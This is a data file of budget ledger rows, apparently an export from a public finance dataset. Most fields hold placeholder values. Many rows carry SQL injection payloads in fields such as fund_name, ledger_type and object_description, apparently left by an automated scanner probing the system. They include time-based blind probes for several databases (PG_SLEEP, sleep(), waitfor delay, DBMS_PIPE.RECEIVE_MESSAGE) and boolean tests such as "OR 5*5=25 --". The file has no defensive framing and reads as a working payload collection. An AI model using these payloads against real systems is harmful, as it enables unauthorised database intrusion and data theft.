<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select 198766*667891)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>@@4aJpd</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU����%2527%2522\'\"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUIybrIUyD')) OR 461=(SELECT 461 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU2VhzFAYw' OR 316=(SELECT 316 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=25 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>@@byTIA</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1����%2527%2522\'\"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1IKhL8Jo0')) OR 60=(SELECT 60 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1)) OR 757=(SELECT 757 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1 OR 261=(SELECT 261 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1slXSbRJH'; waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1 waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1; waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=25 or "u8DrBVCf"="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=26 or 'xesSzjQ8'='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=25 or 'xesSzjQ8'='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1b7kP50La') OR 783=(SELECT 783 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1Qukqvdge' OR 940=(SELECT 940 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1) OR 798=(SELECT 798 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
